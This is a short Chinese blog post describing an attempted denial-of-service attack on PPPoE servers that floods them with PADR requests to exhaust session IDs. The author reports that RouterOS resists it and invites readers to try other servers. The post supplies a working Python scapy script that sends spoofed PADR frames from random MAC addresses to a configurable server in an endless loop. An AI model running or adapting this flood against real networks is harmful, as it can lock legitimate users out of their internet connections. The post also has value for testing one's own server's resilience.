PPPoE攻击2:PADR耗竭sessionid


    pppoe拨号会话链接的时候,client会和server进行协商,server会分配给client唯一的一个sessionid。这是一个漏洞:如果我们进行Dos攻击,冒充合法客户端,不断进行PADR请求,能否将sessionid耗竭,从而达到合法用户不能登录的结果?


    我在软路由routeros上测试发现:不会的。当会话建立的时候,如果client不能及时进行用户名密码验证,server会立即回复PADT,强制剔除client并收回sessionid;我并不确定其他的PPPoE服务器是否也是如此,感兴趣的朋友可以测试一下


    攻击的python代码如下:

from scapy.all  import *

servermac="74:74:33:71:6b:4c"
#这是你的PPPoE服务器的服务器mac地址,请酌情修改

def mac():
        import random
        a=[str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99)),str(random.randint(10,99))]
        b=":".join(a)
        return b
#定义申请sessionid的客户端mac地址.

def packet(src,code=0x09,len=16,macdst='ff:ff:ff:ff:ff:ff'):
        a=Ether()/PPPoE()
        a.src=src
        a.dst=macdst
        a.type=0x8863
        a.payload.version=1
        a.payload.type=1
        a.payload.code=code
        a.payload.len=len
        return a
#定义PPPoE格式的数据包

while True:
        c=mac()
        sendp(packet(src=c,macdst=servermac,code=0x19))
#发送PADR数据包,进行sessionid耗竭


你可能感兴趣的:(server,客户端,密码,用户名)